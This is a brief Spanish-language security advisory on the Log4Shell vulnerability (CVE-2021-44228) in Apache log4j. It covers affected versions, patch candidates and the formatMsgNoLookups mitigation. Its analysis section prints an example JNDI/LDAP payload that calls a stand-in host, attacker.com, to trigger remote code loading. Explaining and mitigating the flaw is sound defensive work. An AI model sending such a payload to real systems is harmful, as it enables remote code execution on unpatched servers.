El día 9 de Diciembre, un exploit 0-day fue encontrado en la librería de Java «log4j» que permitía la ejecución de código remoto registrando una determinada cadena.
ANÁLISIS
CVE-2021-44228
La vulnerabilidad se dispara cuando los logs de un server contienen el siguiente payload $ {jndi:ldap://attacker.com/a} (donde attacker.com es un servidor controlado por el atacante). De esta forma, log4j realiza una petición al servidor mediante Java Naming and Directory Interface (JNDI) obteniendo como respuesta la ruta a un archivo de clase Java remoto. Este payload permitirá que un atacante ejecute código arbitrario [1].
Productos afectados:
2.0 <= Apache log4j <= 2.14.1
Actualmente la vulnerabilidad no tiene una puntuación CVSS v3 oficial. Sin embargo, debido a su gravedad, en muchas publicaciones ha sido considerada como crítica [2].
En la página de LunaSec [1] podemos encontrar un ejemplo de explotación de esta vulnerabilidad. Además, el proyecto marshalsec ofrece una herramienta para poder crear payloads, que podría ser utilizada en esta vulnerabilidad.
RECOMENDACIONES
Actualmente no existe una versión estable disponible. No obstante, hay dos parches candidatos publicados como log4j-2.15.0-rc1 y log4j-2.15.0-rc2 disponibles en el GitHub de Apache [3], los cuales se recomienda su instalación. Además, para versiones superiores a la 2.10.0 se añadió la propiedad «formatMsgNoLookups» cuya configuración a «true» puede mitigar la vulnerabilidad temporalmente [4].
REFERENCIAS
(1) https://www.lunasec.io/docs/blog/log4j-zero-day/
(2) https://logging.apache.org/log4j/2.x/security.html
(3) https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
(4) https://issues.apache.org/jira/browse/LOG4J2-2109